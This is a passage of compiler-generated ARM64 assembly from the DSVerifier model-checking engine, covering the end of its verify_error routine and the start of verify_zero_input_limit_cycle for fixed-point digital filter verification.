ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 784]
sxtw x0, w1
str x0, [x29, 304]
str xzr, [x29, 312]
ldp x2, x3, [x29, 304]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 600]
ldr x4, [x29, 600]
orr x0, x0, x4
str x0, [x29, 600]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 592]
sxtw x0, w1
str x0, [x29, 288]
str xzr, [x29, 296]
ldp x2, x3, [x29, 288]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 584]
ldr x4, [x29, 584]
orr x0, x0, x4
str x0, [x29, 584]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 576]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1021:
cmp sp, x0
beq .L1022
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1021
.L1022:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1023
str xzr, [sp, 1024]
.L1023:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 792]
str wzr, [x29, 684]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 684]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 800]
sxtw x0, w1
str x0, [x29, 272]
str xzr, [x29, 280]
ldp x2, x3, [x29, 272]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 568]
ldr x4, [x29, 568]
orr x0, x0, x4
str x0, [x29, 568]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 560]
sxtw x0, w1
str x0, [x29, 256]
str xzr, [x29, 264]
ldp x2, x3, [x29, 256]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 552]
ldr x4, [x29, 552]
orr x0, x0, x4
str x0, [x29, 552]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 544]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1024:
cmp sp, x0
beq .L1025
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1024
.L1025:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1026
str xzr, [sp, 1024]
.L1026:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 808]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 816]
sxtw x0, w1
str x0, [x29, 240]
str xzr, [x29, 248]
ldp x2, x3, [x29, 240]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 536]
ldr x4, [x29, 536]
orr x0, x0, x4
str x0, [x29, 536]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 528]
sxtw x0, w1
str x0, [x29, 224]
str xzr, [x29, 232]
ldp x2, x3, [x29, 224]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 520]
ldr x4, [x29, 520]
orr x0, x0, x4
str x0, [x29, 520]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 512]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1027:
cmp sp, x0
beq .L1028
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1027
.L1028:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1029
str xzr, [sp, 1024]
.L1029:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 824]
ldr w1, [x29, 684]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 832]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 504]
ldr x4, [x29, 504]
orr x0, x0, x4
str x0, [x29, 504]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 496]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 488]
ldr x4, [x29, 488]
orr x0, x0, x4
str x0, [x29, 488]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 480]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1030:
cmp sp, x1
beq .L1031
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1030
.L1031:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1032
str xzr, [sp, 1024]
.L1032:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 840]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 848]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 472]
ldr x4, [x29, 472]
orr x1, x1, x4
str x1, [x29, 472]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 464]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 456]
ldr x4, [x29, 456]
orr x1, x1, x4
str x1, [x29, 456]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 448]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1033:
cmp sp, x1
beq .L1034
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1033
.L1034:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1035
str xzr, [sp, 1024]
.L1035:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 856]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 864]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 440]
ldr x4, [x29, 440]
orr x1, x1, x4
str x1, [x29, 440]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 432]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 424]
ldr x4, [x29, 424]
orr x1, x1, x4
str x1, [x29, 424]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 416]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1036:
cmp sp, x1
beq .L1037
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1036
.L1037:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1038
str xzr, [sp, 1024]
.L1038:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 872]
ldr w0, [x29, 684]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 880]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 408]
ldr x4, [x29, 408]
orr x1, x1, x4
str x1, [x29, 408]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 400]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 392]
ldr x4, [x29, 392]
orr x1, x1, x4
str x1, [x29, 392]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 384]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1039:
cmp sp, x1
beq .L1040
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1039
.L1040:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1041
str xzr, [sp, 1024]
.L1041:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 888]
str wzr, [x29, 680]
b .L1042
.L1043:
ldr x0, [x29, 808]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr x0, [x29, 856]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 680]
add w0, w0, 1
str w0, [x29, 680]
.L1042:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 680]
cmp w1, w0
blt .L1043
str wzr, [x29, 680]
b .L1044
.L1045:
ldr x0, [x29, 824]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr x0, [x29, 872]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 680]
add w0, w0, 1
str w0, [x29, 680]
.L1044:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [x29, 680]
cmp w1, w0
blt .L1045
str wzr, [x29, 680]
b .L1046
.L1047:
ldr x0, [x29, 840]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr x0, [x29, 888]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 680]
add w0, w0, 1
str w0, [x29, 680]
.L1046:
ldr w1, [x29, 680]
ldr w0, [x29, 684]
cmp w1, w0
blt .L1047
str wzr, [x29, 680]
b .L1048
.L1051:
ldr x0, [x29, 744]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
bl nondet_int
sxtw x2, w0
ldr x0, [x29, 760]
ldrsw x1, [x29, 680]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 760]
ldrsw x1, [x29, 680]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 720]
cmp x1, x0
bgt .L1049
ldr x0, [x29, 760]
ldrsw x1, [x29, 680]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 728]
cmp x1, x0
blt .L1049
mov w0, 1
b .L1050
.L1049:
mov w0, 0
.L1050:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr x0, [x29, 776]
ldrsw x1, [x29, 680]
str xzr, [x0, x1, lsl 3]
ldr x0, [x29, 760]
ldrsw x1, [x29, 680]
ldr x0, [x0, x1, lsl 3]
bl fxp_to_double
ldr x0, [x29, 792]
ldrsw x1, [x29, 680]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 680]
add w0, w0, 1
str w0, [x29, 680]
.L1048:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 680]
cmp w1, w0
blt .L1051
str wzr, [x29, 680]
b .L1052
.L1057:
ldr x0, [x29, 760]
ldrsw x1, [x29, 680]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 824]
mov x0, x3
bl shiftL
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
ldr x3, [x29, 712]
ldr x2, [x29, 696]
ldr x1, [x29, 824]
ldr x0, [x29, 808]
bl fxp_direct_form_1
mov x2, x0
ldr x0, [x29, 744]
ldrsw x1, [x29, 680]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 744]
ldrsw x1, [x29, 680]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 808]
mov x0, x3
bl shiftL
ldr x0, [x29, 792]
ldrsw x1, [x29, 680]
ldr d0, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w1, w0
ldr x0, [x29, 872]
bl shiftLDouble
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
adrp x0, ds+808
add x3, x0, :lo12:ds+808
adrp x0, ds
add x2, x0, :lo12:ds
ldr x1, [x29, 872]
ldr x0, [x29, 856]
bl double_direct_form_1
ldr x0, [x29, 776]
ldrsw x1, [x29, 680]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 776]
ldrsw x1, [x29, 680]
ldr d0, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w1, w0
ldr x0, [x29, 856]
bl shiftLDouble
ldr x0, [x29, 776]
ldrsw x1, [x29, 680]
ldr d8, [x0, x1, lsl 3]
ldr x0, [x29, 744]
ldrsw x1, [x29, 680]
ldr x0, [x0, x1, lsl 3]
bl fxp_to_double
fsub d0, d8, d0
str d0, [x29, 896]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 48]
ldr d1, [x29, 896]
fcmpe d1, d0
bmi .L1060
b .L1053
.L1060:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 48]
fneg d0, d0
ldr d1, [x29, 896]
fcmpe d1, d0
bgt .L1061
b .L1053
.L1061:
mov w0, 1
b .L1056
.L1053:
mov w0, 0
.L1056:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
ldr w0, [x29, 680]
add w0, w0, 1
str w0, [x29, 680]
.L1052:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 680]
cmp w1, w0
blt .L1057
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 1704]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1059
bl __stack_chk_fail
.L1059:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 1728
ldr d8, [sp, 104]
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
add sp, sp, 1728
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE133:
.size verify_error, .-verify_error
.section .rodata
.align 3
.LC47:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
.align 3
.LC48:
.string "X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
.text
.align 2
.global verify_zero_input_limit_cycle
.type verify_zero_input_limit_cycle, %function
verify_zero_input_limit_cycle:
.LFB134:
.cfi_startproc
sub sp, sp, #816
.cfi_def_cfa_offset 816
stp x29, x30, [sp, 16]
.cfi_offset 29, -800
.cfi_offset 30, -792
add x29, sp, 16
.cfi_def_cfa 29, 800
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
.cfi_offset 19, -784
.cfi_offset 20, -776
.cfi_offset 21, -768
.cfi_offset 22, -760
.cfi_offset 23, -752
.cfi_offset 24, -744
.cfi_offset 25, -736
.cfi_offset 26, -728
.cfi_offset 27, -720
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 792]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, overflow_mode
add x1, x0, :lo12:overflow_mode
mov w0, 3
str w0, [x1]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
lsl w0, w0, 1
str w0, [x29, 624]
adrp x0, .LC46
add x0, x0, :lo12:.LC46
bl printf
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 624]
cmp w0, w1
ble .L1063
adrp x0, __PRETTY_FUNCTION__.7
add x3, x0, :lo12:__PRETTY_FUNCTION__.7
mov w2, 23
adrp x0, .LC47
add x1, x0, :lo12:.LC47
adrp x0, .LC48
add x0, x0, :lo12:.LC48
bl __assert_fail
.L1063:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 632]
sxtw x0, w1
mov x22, x0
mov x23, 0
lsr x0, x22, 58
lsl x21, x23, 6
orr x21, x0, x21
lsl x20, x22, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x25, x27, 6
orr x25, x0, x25
lsl x24, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1064:
cmp sp, x0
beq .L1065
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1064
.L1065:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1066
str xzr, [sp, 1024]
.L1066:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 640]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 648]
sxtw x0, w1
str x0, [x29, 336]
str xzr, [x29, 344]
ldp x2, x3, [x29, 336]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 600]
ldr x4, [x29, 600]
orr x0, x0, x4
str x0, [x29, 600]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 592]
sxtw x0, w1
str x0, [x29, 320]
str xzr, [x29, 328]
ldp x2, x3, [x29, 320]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 584]
ldr x4, [x29, 584]
orr x0, x0, x4
str x0, [x29, 584]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 576]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1067:
cmp sp, x0
beq .L1068
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1067
.L1068:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1069
str xzr, [sp, 1024]
.L1069:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 656]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 640]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 656]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
bl fxp_double_to_fxp
str x0, [x29, 664]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
bl fxp_double_to_fxp
str x0, [x29, 672]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 680]
sxtw x0, w1
str x0, [x29, 304]
str xzr, [x29, 312]
ldp x2, x3, [x29, 304]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 568]
ldr x4, [x29, 568]
orr x0, x0, x4
str x0, [x29, 568]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 560]
sxtw x0, w1
str x0, [x29, 288]
str xzr, [x29, 296]
ldp x2, x3, [x29, 288]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 552]
ldr x4, [x29, 552]
orr x0, x0, x4
str x0, [x29, 552]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 544]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1070:
cmp sp, x0
beq .L1071
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1070
.L1071:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1072
str xzr, [sp, 1024]
.L1072:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 688]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 696]
sxtw x0, w1
str x0, [x29, 272]
str xzr, [x29, 280]
ldp x2, x3, [x29, 272]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 536]
ldr x4, [x29, 536]
orr x0, x0, x4
str x0, [x29, 536]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 528]
sxtw x0, w1
str x0, [x29, 256]
str xzr, [x29, 264]
ldp x2, x3, [x29, 256]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 520]
ldr x4, [x29, 520]
orr x0, x0, x4
str x0, [x29, 520]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 512]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1073:
cmp sp, x0
beq .L1074
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1073
.L1074:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1075
str xzr, [sp, 1024]
.L1075:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 704]
str wzr, [x29, 620]
b .L1076
.L1077:
ldr x1, [x29, 688]
ldrsw x0, [x29, 620]
str xzr, [x1, x0, lsl 3]
ldr x1, [x29, 704]
ldrsw x0, [x29, 620]
str xzr, [x1, x0, lsl 3]
ldr w0, [x29, 620]
add w0, w0, 1
str w0, [x29, 620]
.L1076:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 620]
cmp w0, w1
blt .L1077
str wzr, [x29, 628]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 628]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 712]
sxtw x0, w1
str x0, [x29, 240]
str xzr, [x29, 248]
ldp x2, x3, [x29, 240]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 504]
ldr x4, [x29, 504]
orr x0, x0, x4
str x0, [x29, 504]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 496]
sxtw x0, w1
str x0, [x29, 224]
str xzr, [x29, 232]
ldp x2, x3, [x29, 224]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 488]
ldr x4, [x29, 488]
orr x0, x0, x4
str x0, [x29, 488]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 480]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1078:
cmp sp, x0
beq .L1079
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1078
.L1079:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1080
str xzr, [sp, 1024]
.L1080:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 720]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 728]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 472]
ldr x4, [x29, 472]
orr x0, x0, x4
str x0, [x29, 472]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 464]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 456]
ldr x4, [x29, 456]
orr x0, x0, x4
str x0, [x29, 456]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 448]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1081:
cmp sp, x1
beq .L1082
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1081
.L1082:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1083
str xzr, [sp, 1024]
.L1083:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 736]
ldr w0, [x29, 628]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 744]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 440]
ldr x4, [x29, 440]
orr x1, x1, x4
str x1, [x29, 440]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 432]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 424]
ldr x4, [x29, 424]
orr x1, x1, x4
str x1, [x29, 424]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 416]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1084:
cmp sp, x1
beq .L1085
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1084
.L1085:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1086
str xzr, [sp, 1024]
.L1086:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 752]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 760]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 408]
ldr x4, [x29, 408]
orr x1, x1, x4
str x1, [x29, 408]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 400]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 392]
ldr x4, [x29, 392]
orr x1, x1, x4
str x1, [x29, 392]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 384]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1087:
cmp sp, x1
beq .L1088
